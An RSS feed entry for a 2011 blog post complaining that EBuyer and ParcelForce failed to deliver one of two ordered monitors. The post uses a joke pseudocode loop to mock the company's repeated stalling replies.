		<description><![CDATA[5-6 weeks ago ago I ordered two 24&#8243; widescreen monitors from EBuyer - when the ParcelForce guy delivered them I told him I expected 2, and there was only one delivered. He walked off. I presumed that the other would arrive the next day or something&#8230; but it didn&#8217;t. while(true) {      David.ContactsEBuyerViaStupidENoteSystem(&#8216;rah rah rah &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>5-6 weeks ago ago I ordered two 24&#8243; widescreen monitors from <a title="ebuyer - dodgy delivery" href="http://ebuyer.com">EBuyer</a> - when the ParcelForce guy delivered them I told him I expected 2, and there was only one delivered. He walked off. I presumed that the other would arrive the next day or something&#8230; but it didn&#8217;t.</p>
<div>while(true) {</div>
<div>     David.ContactsEBuyerViaStupidENoteSystem(&#8216;rah rah rah where is my missing monitor?&#8217;);</div>
<div>     EBuyer.stallForAFewDays();</div>
<div>     EBuyer.replies(&#8216;We&#8217;re checking &#8216; + excuse.random(['Warehouse', 'Parcel Force']) + &#8216; and apologise &#8230; blah blah blah&#8217;);</div>
<div>}</div>
<div>5-6 weeks later, there is no sight of the monitor&#8230;.</div>
<div>Not impressed.</div>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

